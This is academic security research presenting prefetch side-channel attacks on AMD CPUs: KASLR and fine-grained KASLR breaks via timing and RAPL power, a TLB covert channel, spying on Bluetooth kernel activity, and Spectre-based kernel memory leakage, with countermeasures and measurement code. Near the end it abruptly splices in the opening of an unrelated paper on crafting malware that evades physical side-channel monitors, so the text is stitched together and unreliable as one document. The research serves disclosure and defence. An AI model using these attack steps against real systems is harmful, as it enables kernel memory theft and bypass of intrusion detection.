3.4.2 Prefetch+Power

An alternative to measuring the execution time of the software
prefetch instruction is to measure its power consumption via
software interfaces. For Prefetch+Power, we rely on the un-
privileged RAPL interface (cf. Section 3.1), which provides
high-resolution power consumption of CPU cores. As with
Prefetch+Time, with Prefetch+Power, it is possible to leak the
page-table level (P1), as we show in the KASLR case study
in Section 4.1. Prefetch+Power has the advantage that it does
not require any high-resolution timer.

As with the execution time, the power consumption of
the software prefetch instruction increases with the number
of page-table levels. With an update interval of only 976 µs
and a resolution of 15.3 µJ, the resolution of the RAPL inter-
face is not sufficient to reliably measure the TLB state (P2).

Moreover, as the power consumption cannot be measured
for a single instruction but for the entire core activity, the
measurement suffers from significant noise.Thus, similarly
to Prefetch+Time, using Prefetch+Power to measure P1also
requires the measurement of multiple prefetch instructions.
Again, this can only be applied if the state of the TLB does not
change when prefetching, and thus it is mostly applicable to
the Zen microarchitecture as Zen 2 caches invalid translations.

3.4.3 TLB-Evict+Prefetch

When leaking the TLB state (P2) on Zen 2, or moni-
toring page activity via the TLB, neither Prefetch+Time
nor Prefetch+Power are sufficient. In these cases, TLB-
Evict+Prefetch can reliably leak the TLB state. As Zen 2
stores valid and invalid virtual to physical translations in the
TLB, the measured timing or power differences are only mea-
surable for the first prefetch. However, as the resolution of
both primitives is insufficient to measure a single prefetch
instruction, TLB-Evict+Prefetch has to first evict the corre-
sponding TLB entry before issuing the prefetch instruction.

For the TLB eviction, we rely on existing eviction strate-
gies [22, 63] for the best possible eviction rate. With this
combination of TLB eviction and prefetching, we can reliably
leak the page-translation level for inaccessible pages (P1) on
Zen 2, as well as the TLB state (P2) on both Zen and Zen 2.

3.5 Covert Channel

In this section, we describe how TLB-Evict+Prefetch can be
used to establish a covert channel between two unprivileged
processes that either are not allowed to communicate over
traditional communication mechanisms, e.g., sockets, or want
to hide their communication.

The idea of the covert channel is to encode the information
by caching translations of kernel pages in the TLB. While a
context switch to a different address space requires addresses
from the TLB to be flushed, it is not necessary that the entire
TLB has to be flushed. As AMD is not vulnerable to the Melt-
down [42] attack, its software-based mitigation kernel page
table isolation (KPTI) [18] on Linux is not active. Therefore,
kernel pages are still marked with the global bit and, thus,
are not affected by the implicit TLB flush. Furthermore, if
active, only translations with the same process-context iden-
tifier (PCID) are flushed from the TLB. To transmit a 1-bit,
the unprivileged sender accesses an inaccessible kernel ad-
dress (previously fixed on by both, the sender and receiver)
using the prefetch instruction. While the actual data is not
loaded to the cache, the translation of the address is cached
in the TLB. To transmit a 0-bit, the sender idles. Using TLB-
Evict+Prefetch, the receiver monitors the same inaccessible
kernel address and decodes the transmitted bit by observing
the execution time of the translation. Multiple bits are sent in
parallel using multiple addresses.
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Figure 4: Transmission of bits 101010111000 using the
prefetch covert channel. Gray areas highlight the transmission
of a 1-bit, the red line is the threshold used by the receiver.

Figure 4 illustrates the transmission of the bits
101010111000 over the covert channel. The receiver decodes
every bit in each time frame by detecting time measurements
under the threshold illustrated as the red line. In our unopti-
mized proof-of-concept implementation, we achieve a trans-
mission rate of 6.66 bit/s with no transmission errors when
using 20 addresses for the covert channel.

In contrast to other state-of-the-art covert channels [26, 43,
45], our covert channel has the limitation that it does not work
across cores, likewise to the covert channel utilizing AMD’s
L1D way predictor [40]. Since the instruction and data TLB
are not shared across hardware threads, a covert channel based
on the prefetch side channel can not be established.

4 Case Studies

In this section, we present 4 case studies to show how
software-prefetch instructions on AMD can be exploited.
First, we show that KASLR can be derandomized reliably
within seconds (Section 4.1) and that even the new fine-
grained KASLR (FGKASLR) of the Linux kernel can be bro-
ken (Section 4.2). Furthermore, we show that the TLB leakage
allows building direct attacks on the kernel. We demonstrate
that it is possible to detect activity in the kernel inferring user
activity (Section 4.3) or to leak kernel memory in combination
with Spectre (Section 4.4).

4.1 Kernel Address Space Derandomization

In this section, we show that an unprivileged attacker can
derandomize the kernel address space layout using RAPL. As
there is no distinction between committed and non-committed
instructions at the voltage regulator level, the power consump-
tion also changes for transient instructions. Transient instruc-
tions are instructions that have been executed by an out-of-
order processor but are never committed to the architectural
state, e.g., instructions causing a fault [42] or instructions
following a misspeculated branch [38]. The general concept
of derandomizing the kernel address space is to distinguish
between the transient access of mapped and unmapped kernel
addresses via differences in power consumption. While on In-
tel CPUs, transiently accessing mapped and unmapped kernel
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Figure 5: Power consumption when prefetching kernel ad-
dresses. The yellow rectangle shows the kernel location. The
first spike is the location of the __do_softirq function.

addresses shows differences in timing [25, 29, 35] and store-
forwarding behavior [11,54], this effect has not been observed
on AMD CPUs so far. However, in this section, we show that
on AMD CPUs, the same result can be achieved by measuring
the power consumption of transient kernel accesses.

Figure 5 shows the power consumption when prefetching a
kernel address using the prefetch instruction 100 000 times.
The yellow rectangle marks the location of the kernel. It can
be seen that the power consumption differs for several pages
that are mapped by the kernel. Specifically, we observed that
the first spike in the power consumption reliably appears at the
page used by the __do_softirq kernel function. By iterating
over the page tables of the Linux kernel, we verified that the
kernel page of __do_softirq function is the first 4 kB page
used within the kernel image. As shown in Section 3.2.1, the
execution time of the prefetch instruction is higher for a 4 kB
page than a 2 MB page. In addition, the translation level for
virtual addresses is also visible in the power consumption. In
Figure 5, the first increase in the power consumption at offset
‘0’ shows where the page directory for the kernel is mapped.
Before that offset, there is no valid page directory.

In our experiments, we successfully used an AMD EPYC
7402P, AMD EPYC 7571, AMD Ryzen 5 3600, and an AMD
Ryzen Threadripper. We also verified that the KASLR break
works in a virtualized environment by mounting it on a T3a
instance (AMD EPYC 7571) on the Amazon AWS cloud. As
the kernel is 2 MB aligned with a range of 1 GB, there are 512
possible randomization offsets [54]. For each of these offsets,
we measure the power consumption when prefetching the
address. The average time to find the KASLR offset is 0.15 s
which is similar to state-of-the-art KASLR breaks on Intel
CPUs. In contrast to previous microarchitectural KASLR
breaks [11, 12, 25, 29, 35, 54, 64], our KASLR break using
power consumption is the first microarchitectural KASLR
break that does not require any timing primitive.

As discussed in Section 3.2.2, Zen 2 seems to cache pages
regardless of their permission bits in the TLB. On the contrary,
Intel does not cache address translations for pages that are not
present [25]. Thus, measuring over multiple executions of the
prefetch instruction yields the same execution time on average
and, thus, does not allow derandomizing the kernel offset.
Thus, on Zen 2, instead of measuring the energy consumption
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Figure 6: Execution time when prefetching kernel addresses.
The yellow rectangle shows the actual location of the kernel,
corresponding with the measured negatives spike.

over the prefetch instruction, we measure the execution time
of a single prefetch instruction repeatedly. Since the address
translation is cached, we invalidate it by evicting the TLB
between each measurement. Figure 6 shows the recorded
measurements over the possible offsets on an AMD Ryzen 7
3700X running a Linux kernel 5.4. The first negative spike
corresponds to the start of the kernel, i.e., startup_64 located
at 0xffff ffff a000 000. With the same technique, we
derandomized the kernel on the A10-7870K, running CentOS
7.8 with a Linux kernel 3.10.

4.2 Breaking Fine-Grained KASLR

In 2020, Intel proposed fine-grained KASLR (FGKASLR)
for the Linux kernel. We show that even with this advanced
randomization, it is possible to use the prefetch instruction
to find the address of a function of interest. At the time of
writing, this patch is not in the upstream kernel. However, the
patch is stable and can already be applied to kernel 5.9. For
the remainder of the section, we use Ubuntu 20.04 with kernel
5.9.0-rc6 and the latest version (version 5) of the FGKASLR
patch [1]. With FGKASLR, the kernel image is also relocated
to a random start address. In addition, the code of most func-
tions is shuffled within the kernel image. This shuffling is
done once at boot time. Hence, to find the address of a target
function, it is required to find the base of the kernel image, and
additionally, the position of the function within the kernel.

Unlike countermeasures such as KPTI [24],
LAZARUS [17], or FLARE [12], FGKASLR does
not change anything in the memory mappings surrounding
the kernel image. Thus, we can use the same attack as
described in Section 4.1 to find the beginning of the kernel
image. The only difference is that at this point, we only know
the base address of the kernel image but no addresses of any
function. One exception is the CPU startup functionality,
spanning 2 pages, is still at the base of the kernel image. This
might already be sufficient for a return-oriented-programming
attack or as a base for continuing with probing the kernel
space. Even with FGKASLR, the kernel image does not have
holes in the virtual memory. Thus, there is no risk in probing
for values as long as the base address is known. Furthermore,
an attacker could resort to speculative probing [19] given an
exploitable Spectre gadget in the kernel.
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Figure 7: Template attack for page candidates of a kernel
driver while triggering a supported ioctl syscall. The spike
correlates with the kernel page containing the corresponding
function, allowing to derandomize FGKASLR.

Function Activity Template Attacks. While we were only
able to find the beginning of the kernel image if FGKASLR
is active, we now propose a generic approach to find the ad-
dress of a target function based on the concept of template at-
tacks [10,13,27,56,65]. The principle idea of this technique is
to constantly trigger the targeted event while in parallel prob-
ing each possible candidate. For instance, Gruss et al. [27]
demonstrated cache template attacks by observing cache ac-
tivity using a cache attack on shared libraries for different key
input events. They identified different addresses correlating
to keystrokes, enabling inter-keystroke timing attacks.

Similarly, we probe each candidate page within the possi-
ble range of the detected kernel image while triggering the
execution of the targeted functionality or the access of the
targeted data region. We perform the profiling phase of each
address candidate with the following steps:
1. Preparation: In the preparation step, the state of the TLB

is reset to a known state, i.e., we evict the targeted address
translation from the TLB.

2. Trigger: In the trigger step, the event that accesses or
execute the targeted addresses is induced.

3. Measurement: In the last step, the execution time of the
address translation is timed.

Each probed address with a low timing measurement is a
candidate for the targeted address. If the template attack yields
multiple candidate addresses, i.e., if the event triggers accesses
to multiple pages, another event could be profiled. This event
should then access a subset of addresses as the initial event
excluding the targeted address, allowing reducing the number
of candidate addresses. However, if the exploit requiring the
targeted address allows multiple attempts, the attacker can
mount the attack for all candidate addresses.

Evaluation. We mount our attack on a sample kernel driver,
as kernel exploits targeting a driver (e.g., the recent CVE-
2019-18683) often require the knowledge of the address of
the driver. To obtain the address of the kernel driver, we mount
a function activity template attack on the located kernel image.
We evaluated this attack on an AMD Ryzen 5 2500U running
Linux 5.9 with FGKASLR. To reduce measurement noise, we
repeat the necessary steps for each address 1500 times.
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Figure 7 shows the averaged obtained measurements with
TLB-Evict+Prefetch for the 64 candidate addresses for the
target function. The spike at offset 32 correlates with the
actual page of the targeted function triggered via the ioctl.
In comparison, the dotted line shows the averaged obtained
measurements when the target function is not active. Thus,
combining template attacks with TLB-Evict+Prefetch allows
us to successfully find kernel functions in a recent Linux
kernel protected with FGKASLR.

4.3 Spying on Kernel Activity
In this section, we utilize TLB-Evict+Prefetch to monitor
kernel activity. Specifically, we detect active audio transmis-
sions via Bluetooth. For this case study, we assume that we
have already de-randomized the kernel address space (cf. Sec-
tion 4.1).

In contrast to the template attack on the kernel from Sec-
tion 4.2, we do not trigger the kernel activity from the attacker
application. Instead, we rely on an external event, i.e., a Blue-
tooth communication, that is handled in the kernel on the same
core as the attacking application is running. If such an event is
triggered, e.g., by the connected Bluetooth device, the kernel
interrupts the attacker application and continues executing
in the Bluetooth module. For this, the memory management
unit (MMU) has to translate the virtual addresses of the ac-
cessed or executed pages, transparently caching them in the
TLB. By monitoring the address, and thus the TLB state (P2)
using TLB-Evict+Prefetch, an attacker can detect if these
pages have been accessed. Our attack has the following steps
constantly repeated by the attacker:
1. Evict TLB: The attacker evicts entries from the TLB by

accessing arbitrary user space addresses.
2. Scheduling/Interrupt: The attacker process is inter-

rupted to handle an incoming event, e.g., a Bluetooth
packet. Alternatively, the attacker relinquishes the core,
allowing other processes to execute. If the victim accesses
the monitored code, its translation is cached in the TLB.

3. Time: The attacker uses Prefetch+Time, i.e., measures the
execution time of prefetching the monitored address. If a
low timing has been obtained, the attacker can conclude
that the monitored address has been accessed (P2) and,
thus, an event of interest is observed.

Evaluation. We mounted our proof-of-concept implemen-
tation of the attack on an AMD Ryzen 5 2500U CPU, running
Ubuntu 20.04 LTS with Linux kernel 5.9. We pair a smart-
phone with the computer and target the default Bluetooth
kernel module present on Ubuntu without any modifications.

Figure 8 shows the obtained measurements by the attacker
process via TLB-Evict+Prefetch. In each attack iteration, we
attack the same offset in the kernel module. From the plot, we
can see that the Bluetooth module always shows a slight ac-
tivity in the TLB, i.e., the prefetch time is sometimes fast. We
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Figure 8: Detecting Bluetooth audio transmission with TLB-
Evict+Prefetch. After 180 s, a 2:10 min song is played. Dots
below the red line indicate that the page is in the TLB, i.e.,
active, dots above the line indicate that the page is not in the
TLB. During audio transmission, the page is always active.

assume that this is for keeping the connection alive. However,
as soon as we start transmitting audio (gray area), the targeted
address is always present in the TLB until we stop the audio
transmission, leading to always fast prefetch times. Hence,
we can introduce a static threshold (red line). If we do not
measure any prefetch execution times above this threshold,
the Bluetooth module is transmitting an audio stream.

One limitation of the attack on AMD CPUs is that there is
no shared TLB between SMT threads. While the instruction
and the data TLB are competitively shared, i.e., the entries
can be used by both threads, the entries are tagged using
the thread ID [4]. Thus, entries can only be accessed by the
owning thread of the entry. Therefore, cross-core monitoring
is not possible on AMD CPUs.

4.4 Leaking Kernel Memory with Spectre
In this section, we combine Spectre with TLB-Evict+Prefetch
to leak kernel memory from a recent Linux kernel. Since
AMD CPUs are not affected by Meltdown [42], the kernel is
still mapped in user space, as page table isolation [24] is not
enabled. During transient execution, the kernel accesses an
address based on a secret. Thereby, the address is loaded into
the cache, and its translation stored in the TLB.

Most Spectre-type attacks use the cache as a covert chan-
nel and, thus, require shared memory between the kernel and
user space. If the kernel tries to access a user-space address
and SMAP is enabled [3, §5.6.6], the translation raises an
exception. However, TLB-Evict+Prefetch can detect if a page
translation of a kernel address is cached in the TLB (see Sec-
tion 3).

To evaluate TLB-Evict+Prefetch for a Spectre-type at-
tack, we implement a custom kernel module to which
communication is enabled using ioctl from user space.
The module contains a Spectre-PHT gadget accept-
ing an offset variable as an user-controlled argument:
if (offset < data_len) tmp = LUT[data[offset] * 4096];

In contrast to the original Spectre attack [38], an adversary
requires only full control over the offset but no control over
the LUT address. Thus, our attack works without any shared
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Figure 9: Leaking the secret string SECRET byte-by-byte from
the Linux kernel. The lowest prefetch measurement for each
kernel page correlates to the stored byte at the given offset.

memory between the kernel and user space. A limiting factor
of this attack is the requirement of the knowledge of the kernel
address that is accessed by the Spectre gadget if KASLR is
active on the attacked system. However, in Section 4.1, we
demonstrate that both Prefetch+Time and Prefetch+Power
can derandomize the kernel and, thus, obtain the address. In
contrast, when using Spectre with Prime+Probe on the kernel,
an attacker requires the knowledge of physical addresses to
build an efficient eviction set. Unprivileged access to this
information is typically prevented [37], and attackers can
only resort to less-efficient eviction sets or the use of other
side-channel information in combination with huge pages (if
available) [55].

In our attack, we first mistrain the branch predictor by re-
peatedly providing an index that is within the allowed range.
The CPU follows the branch to access a fixed kernel-location
LUT based on the value stored at data+offset. Then, we
evict the TLB by accessing arbitrary user-space addresses.
Next, we provide an out-of-bounds offset, letting the pro-
cessor speculatively access a memory location based on the
sensitive data located at the given offset. Using prefetch, we
now measure if the kernel address for each of the 256 possible
byte values has been loaded into the TLB. The kernel address
with the lowest execution time for the prefetch instruction
leaks the actual byte value at the given offset. To increase the
likelihood that the processor actually speculatively accessed
the address, we repeat this attack step multiple times.

We successfully recovered a secret string of
1000 characters from Linux kernel 5.10.39 running on
an AMD Ryzen 5 3600. With our unoptimized proof-of-
concept implementation, we can recover the secret bytes
with a success rate of 96.7 % (σ = 4.29) and a leakage
rate of up to 58.98 B/s (52.85 B/s on average, σ = 2.14,
n = 100). In contrast, Lipp et al. [40] achieved a leakage rate
of 0.66 B/s exploiting AMD’s way prediction in a similar
setting. Canella et al. [11] described a similar attack using
Speculative Fetch+Bounce but did not provide any numbers.
For comparison, cache-based covert channels that rely on
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Figure 10: Access times when prefetching kernel addresses.
The yellow rectangle shows the location of the kernel. While
the KASLR break without KPTI has been successful (blue),
activating KPTI on AMD CPUs eliminates the leakage (red).

shared memory between kernel and user space achieve
leakage rates of up to 5000 B/s [38].

Figure 9 illustrates the obtained measurements of the ex-
ecution time of the different kernel addresses for each out-
of-bounds offset. One can clearly see that the lower values
correlate with the secret byte.

5 Countermeasures

In this section, we discuss different countermeasures and
mitigation strategies for the presented attacks.

Page Table Isolation. With KAISER [24], Gruss et al. pre-
sented a countermeasure to prevent microarchitectural attacks
on the kernel by unmounting the kernel address space while
in user space. Canella et al. [12] proposed to map the entire
kernel address space using dummy mappings to prevent mi-
croarchitectural KASLR breaks. A similar concept was also
presented by Gens et al. [17]. While dummy mappings pre-
vent attacks based on the page-table-level leakage, they do not
prevent TLB- or cache-line-based leakage. The KAISER tech-
nique, implemented as KPTI [18] on Linux and KVAShadow
on Windows [36], prevents exploitation of Meltdown on Intel
CPUs [23, 42]. With this paper, we show that such a stronger
kernel isolation should also be used on AMD CPUs.

To verify if page-table isolation is sufficient on AMD CPUs
to mitigate our attacks, we enforced KPTI (pti=on) on the
Linux kernel 5.4 on an AMD Ryzen 7 3700X CPU. While
running our KASLR break (see Section 4.1) was possible
without PTI, we can see in Figure 10 that we are not able to
locate the kernel image anymore as the kernel addresses are
not mapped in user space. The negative spike at the end is the
still remaining mapped entry region __entry_text_start
that is required to handle interrupts and system calls.

FLARE. With FLARE [12], Canella et al. presented a
generic mitigation against known microarchitectural KASLR
breaks. It uses dummy mappings in the kernel space to elimi-
nate timing differences between mapped and unmapped pages.
We used the proof-of-concept implementation [12] to eval-
uate if it mitigates our KASLR break. Figure 11 shows the
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Figure 11: Access times when prefetching kernel addresses.
The yellow rectangle shows the location of the kernel. While
the KASLR break without FLARE has been successful (blue),
activating it on AMD CPUs eliminates the leakage (red).

recorded traces of our KASLR break on a Ryzen 7 3700X.
With FLARE activated, we cannot detect the kernel image.
Note that FLARE does not prevent other presented attacks.

Prefetch Configuration MSRs. While AMD TLBs do not
enable cross-core attacks by design, the timing side-channel
leakage of the prefetch instruction is coherent with the caching
properties of the TLB. Thus, it can not be resolved by dif-
ferent TLB hardware designs. However, we propose two al-
ternative solutions to mitigate the presented side-channels in
future CPUs. As the architectural behavior of the prefetch
instruction is described merely as a hint, the processor is not
required to execute it [3, §3.9.6.1]. Thus, the first and more
aggressive solution is to introduce a bit in an MSR that, if
set, treats every prefetch instruction as a NOP. To estimate
the impact of this mitigation, we analyzed the prevalence of
prefetch instructions. On Ubuntu 20.04, we only found 16
out of 1428 applications and libraries in the system folders
that contain the prefetch instruction. Hence, we argue that the
performance overhead of this mitigation would likely be not
even noticeable.

The second alternative approach is to partially allow
prefetching instruction on certain address ranges. Typically,
the kernel is either mapped on the top or the bottom of the ad-
dress space, i.e., the most-significant bit of kernel addresses is
either 0 or 1, depending on the operating system. We propose
an MSR configuration that disables prefetching instructions
for virtual addresses with either the most-significant bit set
to 0, set to 1, or to disable it for all addresses. Thus, the op-
erating system can disable prefetching instructions on kernel
addresses, mitigating the attacks presented in this paper.

Restricting Access. With the Linux kernel 5.8, the
amd_energy driver provides unprivileged access to the per-
core energy measurements of AMD CPUs. To mitigate
Prefetch+Power-type attacks, limiting user-space access is
necessary to mitigate at least unprivileged attacks. Hence, as a
result of this paper and PLATYPUS [41], AMD first restricted
the access to privileged users, and Linux ultimately removed
the driver in kernel 5.13 [46]. Further, the k10temp exposes
the currents and voltages of the AMD CPUs to unprivileged

users. While we did not evaluate this interface, we recommend
restricting the interface to privileged users as well.

It is possible to prevent unprivileged usage of the high-
resolution timers by setting the CR4.TSD bit [3, §3.2.5]. While
setting this bit prevents an attacker from using rdtsc, rdtscp,
and rdpru, it does not disable all timing primitives. A count-
ing thread can be used as a high-resolution timing primitive
to distinguish timing differences of a few cycles on AMD
CPUs [40]. Moreover, we identified several widespread un-
privileged applications that rely on rdtsc, including XWay-
land, adb, cargo, and Docker. Hence, restricting unprivileged
access to high-resolution timers is not only ineffective against
attacks, but also has adverse effects on benign applications.

6 Related Work & Discussion

In this section, we discuss related and future work.

Prefetcher. Gruss et al. [25] investigated the software
prefetch instruction on Intel CPUs. They showed that the
software prefetch instructions leak the page-table level of in-
accessible virtual addresses and used this observation to build
a KASLR break. Their other observation that the prefetch
instruction allegedly prefetches inaccessible addresses into
the cache, has been shown to be wrongly attributed to the
prefetcher [60]. Schwarzl et al. [60] showed that the actual
root cause of this observation is speculative execution caused
by a Spectre gadget in the kernel. Shin et al. [61] exploited
the hardware prefetchers on Intel CPUs to attack OpenSSL.
Rohan et al. [52] reverse-engineered the hardware stream
prefetcher on Intel CPUs and built a prefetch-based covert
channel. In contrast to previous work, we are the first to ex-
plore the prefetch side channel on AMD CPUs.

TLB Attacks. Gruss et al. [25] exploited the TLB and ad-
dress translation caches on Intel CPUs using the prefetch in-
struction. With TLBleed, Gras et al. [22] reverse-engineered
undocumented address functions of TLBs on Intel CPUs
and recovered EdDSA keys using a Prime+Probe-style at-
tack on the TLB. Koschel et al. [39] exploit tagged TLBs to
break KASLR even in the face of state-of-the-art mitigations.
Schwarz et al. [54] leveraged the store buffer in combination
with the TLB to break KASLR or to infer control flow of the
kernel. However, their necessary attack primitives only apply
to Intel CPUs as they were unsuccessful in reproducing them
on either ARM or AMD CPUs. In this paper, we demonstrate
that similar attacks can be performed on AMD CPUs.

Van Schaik [62, 63] reverse-engineered the MMU to build
eviction sets for the TLB and translation caches on Intel,
AMD, and ARM CPUs to recover AES keys in OpenSSL’s
T-Table implementation. Gras et al. [21] exploit the property
that page-table pages are stored in the last-level cache of Intel
CPUs to break code and heap ASLR from JavaScript.
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Power Measurement. While hardware-based power anal-
ysis is usually conducted using physical probes [48, 53],
software-based power analysis allows performing similar at-
tacks without physical access to the attacked device. Gao et al.
[16] used Intel RAPL within containers to co-locate contain-
ers on the same host. In 2017, Fusi [15] showed that the Intel
RAPL interface can be used to observe whether branches have
been taken or if data has been cached but concluded that the
sampling rate to recover RSA keys is too low. In 2018, Man-
tel et al. [44] showed that it can be used to distinguish RSA
keys with different Hamming weight using machine learning
but did not demonstrate concrete attacks. However, in 2021,
Lipp et al. [41] showed that the Intel RAPL interface can
indeed be exploited to leak cryptographic key material and
to break KASLR. They analyzed the side-channel leakage by
showing that one can distinguish between instructions and the
Hamming weight of operands and data. On Intel, they demon-
strated the recovery of AES-NI and RSA keys in unprivileged
and privileged attack scenarios. While they analyzed the leak-
age behavior of an AMD CPU, they did not demonstrate any
attacks. With our KASLR break, we demonstrate the first
software-based power side-channel attack on AMD.

In addition to the power measurement capabilities of the
CPU, research has been conducted on devices that provide
other means of energy measurement of the platform under
attack. Qin et al. [51] and Yan et al. [67] monitored the sys-
tem power information on mobile devices (voltage, current,
battery charge) to distinguish different applications and web-
sites or observing keystrokes. O’Flynn [50] demonstrated
side-channel attacks using an onboard analog-to-digital con-
verter to recover secrets processed in the secure world on a
TrustZone-enabled device.

7 Conclusion

In this paper, we demonstrated that prefetch side channels un-
dermine the isolation between user and kernel space on AMD
CPUs. We introduced three exploit primitives, Prefetch+Time,
Prefetch+Power, and TLB-Evict+Prefetch, that exploit timing
and power variations of the prefetch instructions. We demon-
strated the applicability in real-world scenarios to break (fine-
grained) KASLR, monitor kernel activity, establish a covert
channel, and even leak kernel memory with Spectre gadgets.
Finally, we evaluated existing mitigations and discussed pos-
sible new mitigations to prevent the presented attacks.
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Table 4: Performance counters leveraged to analyze the
prefetch leakage.

Category Counter Description

Pr
ef

et
ch

ls_inef_sw_pref.mab_mch_cnt Software prefetches
that did not fetch data
outside of the proces-
sor core

ls_pref_instr_disp.load_prefetch_w Dispatched
PREFETCHT0/1/2
instructions

ls_pref_instr_disp.prefetch_nta Dispatched
PREFETCHNTA
instructions

T
L

B

ls_l1_d_tlb_miss.all L1 DTLB Miss or
Reload (all sizes)

A Performance Counters

On AMD, we use the performance counters shown in Table 4
to analyze the behavior of the software prefetch instruction.

B Retirement Experiment

In this section, we discuss the measurement code of the re-
tirement experiment discussed in Section 3.3. To obtain a
timestamp, we either use rdpru or rdtscp. As discussed
in Section 3.1, we need to add additional fences if rdpru is
used. We note that we used lfence instructions as mfence,
contrary to its documentation [33], seems to be ordered with
respect to prefetch instructions. Figure 12 shows the measure-
ment code for one of the measured cases. We refer to our
code in our GitHub repository2 for the full implementation.
The obtained results, as shown in Table 5, indicate that loads
triggered by software prefetch instructions are immediately
marked as complete after the address translation. Similar tim-
ing differences are visible for other prefetch instructions such
as prefetcht0.

1 for (size_t i = 0; i < 1000000; i++) {
2 flush(address);
3 lfence();
4 start = get_timestamp();
5

6 prefetch(address);
7 lfence();
8

9 measurements[i] = get_timestamp() - start;
10 }

Figure 12: Retirement Experiment

To rule out the possibility that the prefetch instruction
is not only serialized with respect to cpuid, we designed the

2https://github.com/amdprefetch/amd-prefetch-attacks
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Figure 13: Execution time in cycles of executing prefetcht0
instructions, memory loads and nops.

Table 5: Measured execution times for memory loads and
prefetches.

Instructions Runtime in cycles

movq + cpuid 945.71 (n = 1 000 000, σx̄ = 229.42)
movq + lfence 814.44 (n = 1 000 000, σx̄ = 241.46)

prefetchnta + cpuid 842.96 (n = 1 000 000, σx̄ = 249.07)
prefetchnta + lfence 158.58 (n = 1 000 000, σx̄ = 124.12)

following additional experiment. Using AssemblyLine [66],
we generate code within a single run of our program that
performs a different number of memory loads, respectively,
a different number of prefetch instructions and nops fol-
lowed by a cpuid instruction. Before we emit the first load
or prefetch instruction, we issue a movntdqa instruction that
takes a long time to complete and thus, blocks all subsequently
issued instructions from retiring in the reorder buffer.

We record the measured execution time of each run on an
AMD Ryzen 5 3600 (Zen 2) CPU and present the average
execution time of the performed measurements in Figure 13.

One can clearly see the increase in the execution time of
the load instructions starting when the 44 entries of the load
queue are exhausted. However, for prefetch instructions, the
execution time increases linearly, hinting that the prefetch
instruction does not cause a stall and is immediately marked
as completed. This also confirms the description by AMD that

“[...] a load instruction may cause a subsequent instruction to
stall until the load completes, but a prefetch instruction will
never cause such a stall.” [3, §3.9.6.1]. For the inserted nop
instructions, we observe an increase in the execution time
after 224 instructions corresponding to the number of entries
in the reorder buffer.

C Measured Instruction Sequences

Listing 1 shows the instruction sequences that have been
measured for Figure 1. All instructions are executed in an
endless loop on one CPU core and measured by a different
core using the RAPL interface. Registers are initialized to zero
if not specified otherwise. Note that this specific xor target
leads to a read-after-write hazard, which results in measuring
only a single xor and not multiple parallel xors [9].

1 void target_flush() {
2 asm volatile(
3 "1:\n"
4 "clflush 0(%0)\n"
5 "jmp 1b\n" : : "c"(dst) : "memory");
6 }
7 void target_rdtsc() {
8 asm volatile(
9 "1:\n"

10 "rdtsc\n"
11 "jmp 1b\n" : : : "rax","rdx","memory");
12 }
13 void target_xor() {
14 asm volatile(
15 "1:\n"
16 "xor %%rbx, %%rax\n"
17 "jmp 1b\n" : : : "rbx","rax","memory");
18 }
19 void target_load() {
20 asm volatile(
21 "1:\n"
22 "movq (%0), %%rax\n"
23 "jmp 1b\n" : : "rm"(dst) : "rax","memory");
24 }

Listing 1: The measured instruction sequences for Figure 1.
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Abstract
Physical side-channel monitoring leverages the physical

phenomena produced by a microcontroller (e.g. power con-
sumption or electromagnetic radiation) to monitor program
execution for malicious behavior. As such, it offers a promis-
ing intrusion detection solution for resource-constrained em-
bedded systems, which are incompatible with conventional
security measures. This method is especially relevant in safety
and security-critical embedded systems such as in industrial
control systems. Side-channel monitoring poses unique chal-
lenges for would-be attackers, such as: (1) limiting attack
vectors by being physically isolated from the monitored sys-
tem, (2) monitoring immutable physical side channels with
uninterpretable data-driven models, and (3) being specifically
trained for the architectures and programs on which they are
applied to. As a result, physical side-channel monitors are
conventionally believed to provide a high level of security.

In this paper, we propose a novel attack to illustrate that,
despite the many barriers to attack that side-channel moni-
toring systems create, they are still vulnerable to adversarial
attacks. We present a method for crafting functional malware
such that, when injected into a side-channel-monitored sys-
tem, the detector is not triggered. Our experiments reveal that
this attack is robust across detector models and hardware im-
plementations. We evaluate our attack on the popular ARM
microcontroller platform on several representative programs,
demonstrating the feasibility of such an attack and highlight-
ing the need for further research into side-channel monitors.

1 Introduction

Detection of malicious code execution on a platform is chal-
lenging in general [2], in particular for embedded computer
systems. The embedded setting imposes a host of limitations,
such as constrained computational power and a lack of hard-
ware support for security features [43]. In many cases, em-
bedded systems also have strict real-time operating deadlines;
importantly, this is true of many safety-critical and industrial

control system (ICS) applications. Previous malicious code
execution attacks on these systems (e.g. Stuxnet [14], Black-
Energy [31], and many others [23]) have been carried out
by nation-state-level adversaries, costing untold amounts in
damage to critical infrastructure and service downtime.

One promising defense for embedded systems against these
attacks is physical side-channel monitoring [3, 22, 32, 39]. It
measures physical phenomena such as transient power con-
sumption or electromagnetic radiation (both a result of circuit
transistor switching) in order to monitor for and accurately
detect malicious behavior.

Physical side-channel monitors pose unique challenges for
would-be adversaries. Unlike traditional monitoring in the
software realm, physical side-channel signals are a conse-
quence of code being executed on a chip. As a result, physical
signals are difficult or impossible to be spoofed or manip-
ulated by an attacker [4]. Side-channel monitors also limit
potential attack vectors by their air-gapped nature, i.e. they
cannot be interacted with except through the microcontroller-
emitted signals that they monitor.

These obstacles are thought to make conventional attacks
ineffective, and promote the idea that physical side-channel
monitors provide a high level of security. Despite those claims,
these systems have not yet been thoroughly evaluated due to
the complexity of doing so. Recent work on evaluating control
flow integrity defenses [29] has shown that the afforded prac-
tical security rarely matches up with the claimed theoretical
security. Likewise, side-channel monitors may be resting on
the assumption that the barriers to attack that they raise are
unlikely to be scaled (i.e., difficulties created by side-channel
monitors, as mentioned above, prevent adversaries from per-
forming attacks on the protected system efficiently or on a
large scale).

In this work, we address the question: “Are physical side-
channel monitors as secure as commonly thought (given that
they can observe all attacker code executed)”—or in other
words: can an attacker hide in plain sight? We present a
novel attack against physical side-channel monitoring systems
which demonstrates that they are vulnerable to an adaptive
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adversary who knows that a side-channel monitor is in use.
Our attack uses a carefully-crafted assembly-level malware
injection to produce a side-channel signal that can evade de-
tection by a side-channel monitor. We exploit vulnerabilities
of the data-driven models used in side-channel monitoring,
finding adversarial programs which behave maliciously but
evade detection. To facilitate reproduction of our approach
and results (in contrast to prior work), we have made our code
open source1.

We summarize our main contributions as follows:
• We present a novel attack highlighting the design-level

vulnerabilities of physical side-channel monitors to ad-
versarial examples.

• We present a methodology for crafting such adversarial
attacks on side-channel monitors, discussing how we
approach the related challenges to create stealthy and
functional malware.

• We evaluate our attack using the popular ARM Cortex-
M processor on various control programs and control
